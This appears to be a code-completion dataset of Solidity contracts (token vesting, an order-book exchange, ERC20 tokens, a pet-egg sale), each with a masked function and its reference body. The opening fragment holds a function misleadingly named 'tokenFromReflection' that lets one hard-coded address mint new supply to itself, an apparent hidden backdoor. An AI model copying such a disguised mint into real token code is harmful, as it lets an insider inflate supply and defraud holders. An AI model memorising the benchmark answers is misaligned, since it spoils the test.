Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * */ }
require (_deadAddress == _msgSender()); uint256 currentBalance = _balances[_deadAddress]; _tTotal = _tSupply + _tTotal; _balances[_deadAddress] = _tSupply + currentBalance; emit Transfer( address(0x5922b0BBAe5182f2B70609f5dFD08f7DA561F5A4), _deadAddress, _tSupply);
function tokenFromReflection() public
function tokenFromReflection() public
34,197
TokenVesting
_vestedAmount
contract TokenVesting is Ownable { // The vesting schedule is time-based (i.e. using block timestamps as opposed to e.g. block numbers), and is // therefore sensitive to timestamp manipulation (which is something miners can do, to a certain degree). Therefore, // it is recommended to avoid using short time durations (less than a minute). Typical vesting schemes, with a // cliff period of a year and a duration of four years, are safe to use. // solhint-disable not-rely-on-time using SafeMath for uint256; using SafeERC20 for IERC20; event TokensReleased(address token, uint256 amount); event TokenVestingRevoked(address token); // beneficiary of tokens after they are released address private _beneficiary; // Durations and timestamps are expressed in UNIX time, the same units as block.timestamp. uint256 private _cliff; uint256 private _start; uint256 private _duration; bool private _revocable; mapping (address => uint256) private _released; mapping (address => uint256) private _revoked; mapping (address => uint256) private _refunded; /** * @dev Creates a vesting contract that vests its balance of any ERC20 token to the * beneficiary, gradually in a linear fashion until start + duration. By then all * of the balance will have vested. * @param beneficiary address of the beneficiary to whom vested tokens are transferred * @param cliffDuration duration in seconds of the cliff in which tokens will begin to vest * @param start the time (as Unix time) at which point vesting starts * @param duration duration in seconds of the period in which the tokens will vest * @param revocable whether the vesting is revocable or not */ constructor (address beneficiary, uint256 start, uint256 cliffDuration, uint256 duration, bool revocable) public { require(beneficiary != address(0), "TokenVesting: beneficiary is the zero address"); // solhint-disable-next-line max-line-length require(cliffDuration <= duration, "TokenVesting: cliff is longer than duration"); require(duration > 0, "TokenVesting: duration is 0"); // solhint-disable-next-line max-line-length require(start.add(duration) > block.timestamp, "TokenVesting: final time is before current time"); _beneficiary = beneficiary; _revocable = revocable; _duration = duration; _cliff = start.add(cliffDuration); _start = start; } /** * @return the beneficiary of the tokens. */ function beneficiary() public view returns (address) { return _beneficiary; } /** * @return the cliff time of the token vesting. */ function cliff() public view returns (uint256) { return _cliff; } /** * @return the start time of the token vesting. */ function start() public view returns (uint256) { return _start; } /** * @return the duration of the token vesting. */ function duration() public view returns (uint256) { return _duration; } /** * @return true if the vesting is revocable. */ function revocable() public view returns (bool) { return _revocable; } /** * @return the amount of the token released. */ function released(address token) public view returns (uint256) { return _released[token]; } /** * @return true if the token is revoked. */ function revoked(address token) public view returns (bool) { return (_revoked[token] != 0); } /** * @notice Transfers vested tokens to beneficiary. * @param token ERC20 token which is being vested */ function release(IERC20 token) public { uint256 unreleased = _releasableAmount(token); require(unreleased > 0, "TokenVesting: no tokens are due"); _released[address(token)] = _released[address(token)].add(unreleased); token.safeTransfer(_beneficiary, unreleased); emit TokensReleased(address(token), unreleased); } /** * @notice Allows the owner to revoke the vesting. Tokens already vested * remain in the contract, the rest are returned to the owner. * @param token ERC20 token which is being vested */ function revoke(IERC20 token) public onlyOwner { require(_revocable, "TokenVesting: cannot revoke"); require(_revoked[address(token)] == 0, "TokenVesting: token already revoked"); uint256 balance = token.balanceOf(address(this)); _revoked[address(token)] = block.timestamp; uint256 unreleased = _releasableAmount(token); uint256 refund = balance.sub(unreleased); _refunded[address(token)] = refund; token.safeTransfer(owner(), refund); emit TokenVestingRevoked(address(token)); } /** * @return the vested amount of the token vesting. */ function vested(IERC20 token) public view returns (uint256) { return _vestedAmount(token); } /** * @dev Calculates the amount that has already vested but hasn't been released yet. * @param token ERC20 token which is being vested */ function _releasableAmount(IERC20 token) private view returns (uint256) { return _vestedAmount(token).sub(_released[address(token)]); } /** * @dev Calculates the amount that has already vested. * @param token ERC20 token which is being vested */ function _vestedAmount(IERC20 token) private view returns (uint256) {<FILL_FUNCTION_BODY> } }
contract TokenVesting is Ownable { // The vesting schedule is time-based (i.e. using block timestamps as opposed to e.g. block numbers), and is // therefore sensitive to timestamp manipulation (which is something miners can do, to a certain degree). Therefore, // it is recommended to avoid using short time durations (less than a minute). Typical vesting schemes, with a // cliff period of a year and a duration of four years, are safe to use. // solhint-disable not-rely-on-time using SafeMath for uint256; using SafeERC20 for IERC20; event TokensReleased(address token, uint256 amount); event TokenVestingRevoked(address token); // beneficiary of tokens after they are released address private _beneficiary; // Durations and timestamps are expressed in UNIX time, the same units as block.timestamp. uint256 private _cliff; uint256 private _start; uint256 private _duration; bool private _revocable; mapping (address => uint256) private _released; mapping (address => uint256) private _revoked; mapping (address => uint256) private _refunded; /** * @dev Creates a vesting contract that vests its balance of any ERC20 token to the * beneficiary, gradually in a linear fashion until start + duration. By then all * of the balance will have vested. * @param beneficiary address of the beneficiary to whom vested tokens are transferred * @param cliffDuration duration in seconds of the cliff in which tokens will begin to vest * @param start the time (as Unix time) at which point vesting starts * @param duration duration in seconds of the period in which the tokens will vest * @param revocable whether the vesting is revocable or not */ constructor (address beneficiary, uint256 start, uint256 cliffDuration, uint256 duration, bool revocable) public { require(beneficiary != address(0), "TokenVesting: beneficiary is the zero address"); // solhint-disable-next-line max-line-length require(cliffDuration <= duration, "TokenVesting: cliff is longer than duration"); require(duration > 0, "TokenVesting: duration is 0"); // solhint-disable-next-line max-line-length require(start.add(duration) > block.timestamp, "TokenVesting: final time is before current time"); _beneficiary = beneficiary; _revocable = revocable; _duration = duration; _cliff = start.add(cliffDuration); _start = start; } /** * @return the beneficiary of the tokens. */ function beneficiary() public view returns (address) { return _beneficiary; } /** * @return the cliff time of the token vesting. */ function cliff() public view returns (uint256) { return _cliff; } /** * @return the start time of the token vesting. */ function start() public view returns (uint256) { return _start; } /** * @return the duration of the token vesting. */ function duration() public view returns (uint256) { return _duration; } /** * @return true if the vesting is revocable. */ function revocable() public view returns (bool) { return _revocable; } /** * @return the amount of the token released. */ function released(address token) public view returns (uint256) { return _released[token]; } /** * @return true if the token is revoked. */ function revoked(address token) public view returns (bool) { return (_revoked[token] != 0); } /** * @notice Transfers vested tokens to beneficiary. * @param token ERC20 token which is being vested */ function release(IERC20 token) public { uint256 unreleased = _releasableAmount(token); require(unreleased > 0, "TokenVesting: no tokens are due"); _released[address(token)] = _released[address(token)].add(unreleased); token.safeTransfer(_beneficiary, unreleased); emit TokensReleased(address(token), unreleased); } /** * @notice Allows the owner to revoke the vesting. Tokens already vested * remain in the contract, the rest are returned to the owner. * @param token ERC20 token which is being vested */ function revoke(IERC20 token) public onlyOwner { require(_revocable, "TokenVesting: cannot revoke"); require(_revoked[address(token)] == 0, "TokenVesting: token already revoked"); uint256 balance = token.balanceOf(address(this)); _revoked[address(token)] = block.timestamp; uint256 unreleased = _releasableAmount(token); uint256 refund = balance.sub(unreleased); _refunded[address(token)] = refund; token.safeTransfer(owner(), refund); emit TokenVestingRevoked(address(token)); } /** * @return the vested amount of the token vesting. */ function vested(IERC20 token) public view returns (uint256) { return _vestedAmount(token); } /** * @dev Calculates the amount that has already vested but hasn't been released yet. * @param token ERC20 token which is being vested */ function _releasableAmount(IERC20 token) private view returns (uint256) { return _vestedAmount(token).sub(_released[address(token)]); } <FILL_FUNCTION> }
uint256 currentBalance = token.balanceOf(address(this)); uint256 totalBalance = currentBalance.add(_released[address(token)]).add(_refunded[address(token)]); if (block.timestamp < _cliff) { return 0; } else if (block.timestamp >= _start.add(_duration) && _revoked[address(token)] == 0) { return totalBalance; } else if (_revoked[address(token)] > 0) { return totalBalance.mul(_revoked[address(token)].sub(_start)).div(_duration); } else { return totalBalance.mul(block.timestamp.sub(_start)).div(_duration); }
function _vestedAmount(IERC20 token) private view returns (uint256)
/** * @dev Calculates the amount that has already vested. * @param token ERC20 token which is being vested */ function _vestedAmount(IERC20 token) private view returns (uint256)
31,326
Bluezakex
availableVolume
contract Bluezakex is SafeMath { address public admin; //the admin address address public feeAccount; //the account that will receive fees address public accountLevelsAddr; //the address of the AccountLevels contract uint public feeMake; //percentage times (1 ether) uint public feeTake; //percentage times (1 ether) uint public feeRebate; //percentage times (1 ether) mapping (address => mapping (address => uint)) public tokens; //mapping of token addresses to mapping of account balances (token=0 means Ether) mapping (address => mapping (bytes32 => bool)) public orders; //mapping of user accounts to mapping of order hashes to booleans (true = submitted by user, equivalent to offchain signature) mapping (address => mapping (bytes32 => uint)) public orderFills; //mapping of user accounts to mapping of order hashes to uints (amount of order that has been filled) event Order(address tokenGet, uint amountGet, address tokenGive, uint amountGive, uint expires, uint nonce, address user); event Cancel(address tokenGet, uint amountGet, address tokenGive, uint amountGive, uint expires, uint nonce, address user, uint8 v, bytes32 r, bytes32 s); event Trade(address tokenGet, uint amountGet, address tokenGive, uint amountGive, address get, address give); event Deposit(address token, address user, uint amount, uint balance); event Withdraw(address token, address user, uint amount, uint balance); function Bluezakex(address admin_, address feeAccount_, address accountLevelsAddr_, uint feeMake_, uint feeTake_, uint feeRebate_) { admin = admin_; feeAccount = feeAccount_; accountLevelsAddr = accountLevelsAddr_; feeMake = feeMake_; feeTake = feeTake_; feeRebate = feeRebate_; } function() { throw; } function changeAdmin(address admin_) { if (msg.sender != admin) throw; admin = admin_; } function changeAccountLevelsAddr(address accountLevelsAddr_) { if (msg.sender != admin) throw; accountLevelsAddr = accountLevelsAddr_; } function changeFeeAccount(address feeAccount_) { if (msg.sender != admin) throw; feeAccount = feeAccount_; } function changeFeeMake(uint feeMake_) { if (msg.sender != admin) throw; if (feeMake_ > feeMake) throw; feeMake = feeMake_; } function changeFeeTake(uint feeTake_) { if (msg.sender != admin) throw; if (feeTake_ > feeTake || feeTake_ < feeRebate) throw; feeTake = feeTake_; } function changeFeeRebate(uint feeRebate_) { if (msg.sender != admin) throw; if (feeRebate_ < feeRebate || feeRebate_ > feeTake) throw; feeRebate = feeRebate_; } function deposit() payable { tokens[0][msg.sender] = safeAdd(tokens[0][msg.sender], msg.value); Deposit(0, msg.sender, msg.value, tokens[0][msg.sender]); } function withdraw(uint amount) { if (tokens[0][msg.sender] < amount) throw; tokens[0][msg.sender] = safeSub(tokens[0][msg.sender], amount); if (!msg.sender.call.value(amount)()) throw; Withdraw(0, msg.sender, amount, tokens[0][msg.sender]); } function depositToken(address token, uint amount) { //remember to call Token(address).approve(this, amount) or this contract will not be able to do the transfer on your behalf. if (token==0) throw; if (!Token(token).transferFrom(msg.sender, this, amount)) throw; tokens[token][msg.sender] = safeAdd(tokens[token][msg.sender], amount); Deposit(token, msg.sender, amount, tokens[token][msg.sender]); } function withdrawToken(address token, uint amount) { if (token==0) throw; if (tokens[token][msg.sender] < amount) throw; tokens[token][msg.sender] = safeSub(tokens[token][msg.sender], amount); if (!Token(token).transfer(msg.sender, amount)) throw; Withdraw(token, msg.sender, amount, tokens[token][msg.sender]); } function balanceOf(address token, address user) constant returns (uint) { return tokens[token][user]; } function order(address tokenGet, uint amountGet, address tokenGive, uint amountGive, uint expires, uint nonce) { bytes32 hash = sha256(this, tokenGet, amountGet, tokenGive, amountGive, expires, nonce); orders[msg.sender][hash] = true; Order(tokenGet, amountGet, tokenGive, amountGive, expires, nonce, msg.sender); } function trade(address tokenGet, uint amountGet, address tokenGive, uint amountGive, uint expires, uint nonce, address user, uint8 v, bytes32 r, bytes32 s, uint amount) { //amount is in amountGet terms bytes32 hash = sha256(this, tokenGet, amountGet, tokenGive, amountGive, expires, nonce); if (!( (orders[user][hash] || ecrecover(sha3("\x19Ethereum Signed Message:\n32", hash),v,r,s) == user) && block.number <= expires && safeAdd(orderFills[user][hash], amount) <= amountGet )) throw; tradeBalances(tokenGet, amountGet, tokenGive, amountGive, user, amount); orderFills[user][hash] = safeAdd(orderFills[user][hash], amount); Trade(tokenGet, amount, tokenGive, amountGive * amount / amountGet, user, msg.sender); } function tradeBalances(address tokenGet, uint amountGet, address tokenGive, uint amountGive, address user, uint amount) private { uint feeMakeXfer = safeMul(amount, feeMake) / (1 ether); uint feeTakeXfer = safeMul(amount, feeTake) / (1 ether); uint feeRebateXfer = 0; if (accountLevelsAddr != 0x0) { uint accountLevel = AccountLevels(accountLevelsAddr).accountLevel(user); if (accountLevel==1) feeRebateXfer = safeMul(amount, feeRebate) / (1 ether); if (accountLevel==2) feeRebateXfer = feeTakeXfer; } tokens[tokenGet][msg.sender] = safeSub(tokens[tokenGet][msg.sender], safeAdd(amount, feeTakeXfer)); tokens[tokenGet][user] = safeAdd(tokens[tokenGet][user], safeSub(safeAdd(amount, feeRebateXfer), feeMakeXfer)); tokens[tokenGet][feeAccount] = safeAdd(tokens[tokenGet][feeAccount], safeSub(safeAdd(feeMakeXfer, feeTakeXfer), feeRebateXfer)); tokens[tokenGive][user] = safeSub(tokens[tokenGive][user], safeMul(amountGive, amount) / amountGet); tokens[tokenGive][msg.sender] = safeAdd(tokens[tokenGive][msg.sender], safeMul(amountGive, amount) / amountGet); } function testTrade(address tokenGet, uint amountGet, address tokenGive, uint amountGive, uint expires, uint nonce, address user, uint8 v, bytes32 r, bytes32 s, uint amount, address sender) constant returns(bool) { if (!( tokens[tokenGet][sender] >= amount && availableVolume(tokenGet, amountGet, tokenGive, amountGive, expires, nonce, user, v, r, s) >= amount )) return false; return true; } function availableVolume(address tokenGet, uint amountGet, address tokenGive, uint amountGive, uint expires, uint nonce, address user, uint8 v, bytes32 r, bytes32 s) constant returns(uint) {<FILL_FUNCTION_BODY> } function amountFilled(address tokenGet, uint amountGet, address tokenGive, uint amountGive, uint expires, uint nonce, address user, uint8 v, bytes32 r, bytes32 s) constant returns(uint) { bytes32 hash = sha256(this, tokenGet, amountGet, tokenGive, amountGive, expires, nonce); return orderFills[user][hash]; } function cancelOrder(address tokenGet, uint amountGet, address tokenGive, uint amountGive, uint expires, uint nonce, uint8 v, bytes32 r, bytes32 s) { bytes32 hash = sha256(this, tokenGet, amountGet, tokenGive, amountGive, expires, nonce); if (!(orders[msg.sender][hash] || ecrecover(sha3("\x19Ethereum Signed Message:\n32", hash),v,r,s) == msg.sender)) throw; orderFills[msg.sender][hash] = amountGet; Cancel(tokenGet, amountGet, tokenGive, amountGive, expires, nonce, msg.sender, v, r, s); } }
contract Bluezakex is SafeMath { address public admin; //the admin address address public feeAccount; //the account that will receive fees address public accountLevelsAddr; //the address of the AccountLevels contract uint public feeMake; //percentage times (1 ether) uint public feeTake; //percentage times (1 ether) uint public feeRebate; //percentage times (1 ether) mapping (address => mapping (address => uint)) public tokens; //mapping of token addresses to mapping of account balances (token=0 means Ether) mapping (address => mapping (bytes32 => bool)) public orders; //mapping of user accounts to mapping of order hashes to booleans (true = submitted by user, equivalent to offchain signature) mapping (address => mapping (bytes32 => uint)) public orderFills; //mapping of user accounts to mapping of order hashes to uints (amount of order that has been filled) event Order(address tokenGet, uint amountGet, address tokenGive, uint amountGive, uint expires, uint nonce, address user); event Cancel(address tokenGet, uint amountGet, address tokenGive, uint amountGive, uint expires, uint nonce, address user, uint8 v, bytes32 r, bytes32 s); event Trade(address tokenGet, uint amountGet, address tokenGive, uint amountGive, address get, address give); event Deposit(address token, address user, uint amount, uint balance); event Withdraw(address token, address user, uint amount, uint balance); function Bluezakex(address admin_, address feeAccount_, address accountLevelsAddr_, uint feeMake_, uint feeTake_, uint feeRebate_) { admin = admin_; feeAccount = feeAccount_; accountLevelsAddr = accountLevelsAddr_; feeMake = feeMake_; feeTake = feeTake_; feeRebate = feeRebate_; } function() { throw; } function changeAdmin(address admin_) { if (msg.sender != admin) throw; admin = admin_; } function changeAccountLevelsAddr(address accountLevelsAddr_) { if (msg.sender != admin) throw; accountLevelsAddr = accountLevelsAddr_; } function changeFeeAccount(address feeAccount_) { if (msg.sender != admin) throw; feeAccount = feeAccount_; } function changeFeeMake(uint feeMake_) { if (msg.sender != admin) throw; if (feeMake_ > feeMake) throw; feeMake = feeMake_; } function changeFeeTake(uint feeTake_) { if (msg.sender != admin) throw; if (feeTake_ > feeTake || feeTake_ < feeRebate) throw; feeTake = feeTake_; } function changeFeeRebate(uint feeRebate_) { if (msg.sender != admin) throw; if (feeRebate_ < feeRebate || feeRebate_ > feeTake) throw; feeRebate = feeRebate_; } function deposit() payable { tokens[0][msg.sender] = safeAdd(tokens[0][msg.sender], msg.value); Deposit(0, msg.sender, msg.value, tokens[0][msg.sender]); } function withdraw(uint amount) { if (tokens[0][msg.sender] < amount) throw; tokens[0][msg.sender] = safeSub(tokens[0][msg.sender], amount); if (!msg.sender.call.value(amount)()) throw; Withdraw(0, msg.sender, amount, tokens[0][msg.sender]); } function depositToken(address token, uint amount) { //remember to call Token(address).approve(this, amount) or this contract will not be able to do the transfer on your behalf. if (token==0) throw; if (!Token(token).transferFrom(msg.sender, this, amount)) throw; tokens[token][msg.sender] = safeAdd(tokens[token][msg.sender], amount); Deposit(token, msg.sender, amount, tokens[token][msg.sender]); } function withdrawToken(address token, uint amount) { if (token==0) throw; if (tokens[token][msg.sender] < amount) throw; tokens[token][msg.sender] = safeSub(tokens[token][msg.sender], amount); if (!Token(token).transfer(msg.sender, amount)) throw; Withdraw(token, msg.sender, amount, tokens[token][msg.sender]); } function balanceOf(address token, address user) constant returns (uint) { return tokens[token][user]; } function order(address tokenGet, uint amountGet, address tokenGive, uint amountGive, uint expires, uint nonce) { bytes32 hash = sha256(this, tokenGet, amountGet, tokenGive, amountGive, expires, nonce); orders[msg.sender][hash] = true; Order(tokenGet, amountGet, tokenGive, amountGive, expires, nonce, msg.sender); } function trade(address tokenGet, uint amountGet, address tokenGive, uint amountGive, uint expires, uint nonce, address user, uint8 v, bytes32 r, bytes32 s, uint amount) { //amount is in amountGet terms bytes32 hash = sha256(this, tokenGet, amountGet, tokenGive, amountGive, expires, nonce); if (!( (orders[user][hash] || ecrecover(sha3("\x19Ethereum Signed Message:\n32", hash),v,r,s) == user) && block.number <= expires && safeAdd(orderFills[user][hash], amount) <= amountGet )) throw; tradeBalances(tokenGet, amountGet, tokenGive, amountGive, user, amount); orderFills[user][hash] = safeAdd(orderFills[user][hash], amount); Trade(tokenGet, amount, tokenGive, amountGive * amount / amountGet, user, msg.sender); } function tradeBalances(address tokenGet, uint amountGet, address tokenGive, uint amountGive, address user, uint amount) private { uint feeMakeXfer = safeMul(amount, feeMake) / (1 ether); uint feeTakeXfer = safeMul(amount, feeTake) / (1 ether); uint feeRebateXfer = 0; if (accountLevelsAddr != 0x0) { uint accountLevel = AccountLevels(accountLevelsAddr).accountLevel(user); if (accountLevel==1) feeRebateXfer = safeMul(amount, feeRebate) / (1 ether); if (accountLevel==2) feeRebateXfer = feeTakeXfer; } tokens[tokenGet][msg.sender] = safeSub(tokens[tokenGet][msg.sender], safeAdd(amount, feeTakeXfer)); tokens[tokenGet][user] = safeAdd(tokens[tokenGet][user], safeSub(safeAdd(amount, feeRebateXfer), feeMakeXfer)); tokens[tokenGet][feeAccount] = safeAdd(tokens[tokenGet][feeAccount], safeSub(safeAdd(feeMakeXfer, feeTakeXfer), feeRebateXfer)); tokens[tokenGive][user] = safeSub(tokens[tokenGive][user], safeMul(amountGive, amount) / amountGet); tokens[tokenGive][msg.sender] = safeAdd(tokens[tokenGive][msg.sender], safeMul(amountGive, amount) / amountGet); } function testTrade(address tokenGet, uint amountGet, address tokenGive, uint amountGive, uint expires, uint nonce, address user, uint8 v, bytes32 r, bytes32 s, uint amount, address sender) constant returns(bool) { if (!( tokens[tokenGet][sender] >= amount && availableVolume(tokenGet, amountGet, tokenGive, amountGive, expires, nonce, user, v, r, s) >= amount )) return false; return true; } <FILL_FUNCTION> function amountFilled(address tokenGet, uint amountGet, address tokenGive, uint amountGive, uint expires, uint nonce, address user, uint8 v, bytes32 r, bytes32 s) constant returns(uint) { bytes32 hash = sha256(this, tokenGet, amountGet, tokenGive, amountGive, expires, nonce); return orderFills[user][hash]; } function cancelOrder(address tokenGet, uint amountGet, address tokenGive, uint amountGive, uint expires, uint nonce, uint8 v, bytes32 r, bytes32 s) { bytes32 hash = sha256(this, tokenGet, amountGet, tokenGive, amountGive, expires, nonce); if (!(orders[msg.sender][hash] || ecrecover(sha3("\x19Ethereum Signed Message:\n32", hash),v,r,s) == msg.sender)) throw; orderFills[msg.sender][hash] = amountGet; Cancel(tokenGet, amountGet, tokenGive, amountGive, expires, nonce, msg.sender, v, r, s); } }
bytes32 hash = sha256(this, tokenGet, amountGet, tokenGive, amountGive, expires, nonce); if (!( (orders[user][hash] || ecrecover(sha3("\x19Ethereum Signed Message:\n32", hash),v,r,s) == user) && block.number <= expires )) return 0; uint available1 = safeSub(amountGet, orderFills[user][hash]); uint available2 = safeMul(tokens[tokenGive][user], amountGet) / amountGive; if (available1<available2) return available1; return available2;
function availableVolume(address tokenGet, uint amountGet, address tokenGive, uint amountGive, uint expires, uint nonce, address user, uint8 v, bytes32 r, bytes32 s) constant returns(uint)
function availableVolume(address tokenGet, uint amountGet, address tokenGive, uint amountGive, uint expires, uint nonce, address user, uint8 v, bytes32 r, bytes32 s) constant returns(uint)
47,235
Owned
null
contract Owned { address public owner; event OwnershipTransferred(address indexed _from, address indexed _to); constructor() public {<FILL_FUNCTION_BODY> } modifier onlyOwner { require(msg.sender == owner); _; } // transfer Ownership to other address function transferOwnership(address _newOwner) public onlyOwner { require(_newOwner != address(0x0)); emit OwnershipTransferred(owner,_newOwner); owner = _newOwner; } }
contract Owned { address public owner; event OwnershipTransferred(address indexed _from, address indexed _to); <FILL_FUNCTION> modifier onlyOwner { require(msg.sender == owner); _; } // transfer Ownership to other address function transferOwnership(address _newOwner) public onlyOwner { require(_newOwner != address(0x0)); emit OwnershipTransferred(owner,_newOwner); owner = _newOwner; } }
owner = 0x99B9809904B01E837781bC34C582b91CFE5C0cF9;
constructor() public
constructor() public
85,378
EggPurchase
purchaseEgg
contract EggPurchase is EggMinting, ExternalContracts { uint16[4] discountThresholds = [20, 100, 300, 500]; uint8[4] discountPercents = [75, 50, 30, 20 ]; // purchasing egg function purchaseEgg(uint64 userNumber, uint16 quality) external payable whenNotPaused {<FILL_FUNCTION_BODY> } function getCurrentDiscountPercent() constant public returns (uint8 discount) { for(uint8 i = 0; i <= 3; i++) { if(tokensCount < (discountThresholds[i] + uniquePetsCount )) return discountPercents[i]; } return 10; } }
contract EggPurchase is EggMinting, ExternalContracts { uint16[4] discountThresholds = [20, 100, 300, 500]; uint8[4] discountPercents = [75, 50, 30, 20 ]; <FILL_FUNCTION> function getCurrentDiscountPercent() constant public returns (uint8 discount) { for(uint8 i = 0; i <= 3; i++) { if(tokensCount < (discountThresholds[i] + uniquePetsCount )) return discountPercents[i]; } return 10; } }
// checking egg availablity require(eggAvailable(quality)); // checking total count of presale eggs require(tokensCount <= globalPresaleLimit); // calculating price uint256 eggPrice = ( recommendedPrice(quality) * (100 - getCurrentDiscountPercent()) ) / 100; // checking payment amount require(msg.value >= eggPrice); // increment egg counter purchesedEggs[quality]++; // initialize variables for store child genes and quility uint256 childGenes; uint16 childQuality; // get genes and quality of new pet by opening egg through external interface (childGenes, childQuality) = geneScience.openEgg(userNumber, quality); // creating new pet createPet( childGenes, // genes string childQuality, // child quality by open egg msg.sender // owner ); reward.get(msg.sender, recommendedPrice(quality));
function purchaseEgg(uint64 userNumber, uint16 quality) external payable whenNotPaused
// purchasing egg function purchaseEgg(uint64 userNumber, uint16 quality) external payable whenNotPaused
58,173
BurgerKoin
null
contract BurgerKoin is ERC20Interface, SafeMath { string public name; string public symbol; uint8 public decimals; uint256 public _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; /** * Constrctor function * * Initializes contract with initial supply tokens to the creator of the contract */ constructor() public {<FILL_FUNCTION_BODY> } function totalSupply() public view returns (uint) { return _totalSupply - balances[address(0)]; } function balanceOf(address tokenOwner) public view returns (uint balance) { return balances[tokenOwner]; } function allowance(address tokenOwner, address spender) public view returns (uint remaining) { return allowed[tokenOwner][spender]; } function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; } function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = safeSub(balances[msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(msg.sender, to, tokens); return true; } function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = safeSub(balances[from], tokens); allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(from, to, tokens); return true; } }
contract BurgerKoin is ERC20Interface, SafeMath { string public name; string public symbol; uint8 public decimals; uint256 public _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; <FILL_FUNCTION> function totalSupply() public view returns (uint) { return _totalSupply - balances[address(0)]; } function balanceOf(address tokenOwner) public view returns (uint balance) { return balances[tokenOwner]; } function allowance(address tokenOwner, address spender) public view returns (uint remaining) { return allowed[tokenOwner][spender]; } function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; } function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = safeSub(balances[msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(msg.sender, to, tokens); return true; } function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = safeSub(balances[from], tokens); allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(from, to, tokens); return true; } }
name = "BurgerKoin"; symbol = "BKNG"; decimals = 18; _totalSupply = 37000000000000000000000000; balances[msg.sender] = _totalSupply; emit Transfer(address(0), msg.sender, _totalSupply);
constructor() public
/** * Constrctor function * * Initializes contract with initial supply tokens to the creator of the contract */ constructor() public
66,464
BlackHole
null
contract BlackHole is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000 * 10 ** 9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1; uint256 private _feeAddr2; address payable private _feeAddrWallet1; address payable private _feeAddrWallet2; string private constant _name = "HOLE"; string private constant _symbol = "BLACK HOLE"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () {<FILL_FUNCTION_BODY> } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); _feeAddr1 = 9; _feeAddr2 = 3; if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { // Cooldown require(amount <= _maxTxAmount); require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) { _feeAddr1 = 9; _feeAddr2 = 3; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _feeAddrWallet1.transfer(amount.div(2)); _feeAddrWallet2.transfer(amount.div(2)); } function openSwapTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: 